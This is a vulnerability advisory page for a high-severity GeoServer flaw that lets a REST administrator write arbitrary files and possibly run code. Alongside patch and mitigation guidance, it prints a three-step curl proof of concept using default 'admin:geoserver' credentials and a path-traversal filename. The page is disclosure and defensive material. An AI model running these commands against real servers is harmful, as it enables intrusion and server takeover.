Arbitrary file upload vulnerability in GeoServer's REST Coverage Store APIGHSA-9v5q-2gwq-q9hq
HIGHFix: geoserver/geoserver#7222GHSA-9v5q-2gwq-q9hq is a high-severity (CVSS 7.2) Improper Input Validation vulnerability in org.geoserver:gs-platform. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for org.geoserver:gs-platform — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9v5q-2gwq-q9hq.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
org.geoserver:gs-platform☕org.geoserver:gs-restconfig☕org.geoserver:gs-platform☕org.geoserver:gs-restconfigReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution.
Details
Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal.
PoC
Step 1 (create sample coverage store): curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic" Step 2 (switch store to absolute URL): curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"<coverageStore><url>file:///{absolute path to data directory}/data/sf/filewrite</url></coverageStore>" "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite" Step 3 (upload arbitrary files): curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write" Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).
Impact
This vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges.
References
https://osgeo-org.atlassian.net/browse/GEOS-11176 https://github.com/geoserver/geoserver/pull/7222
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.geoserver:gs-platform | all versions | 2.23.4org.geoserver:gs-platform:2.23.4 |
| ☕Maven | org.geoserver:gs-restconfig | all versions | 2.23.4org.geoserver:gs-restconfig:2.23.4 |
| ☕Maven | org.geoserver:gs-platform | ≥ 2.24.0&&< 2.24.1 | 2.24.1org.geoserver:gs-platform:2.24.1 |
| ☕Maven | org.geoserver:gs-restconfig | ≥ 2.24.0&&< 2.24.1 | 2.24.1org.geoserver:gs-restconfig:2.24.1 |
Affected Products
geoservergeoserverResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.geoserver:gs-platform, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.geoserver:gs-platform to 2.23.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9v5q-2gwq-q9hq is resolved across your whole dependency graph.
Workarounds
Treat uploaded files as untrusted until proven otherwise: validate the actual content type rather than the supplied extension, store uploads outside the web root on a volume mounted without execute permission, and rename them to server-generated identifiers so an attacker cannot choose the path a request will later resolve.
Frequently Asked Questions
Is GHSA-9v5q-2gwq-q9hq in your dependencies?
Find it across Maven, including transitive dependencies.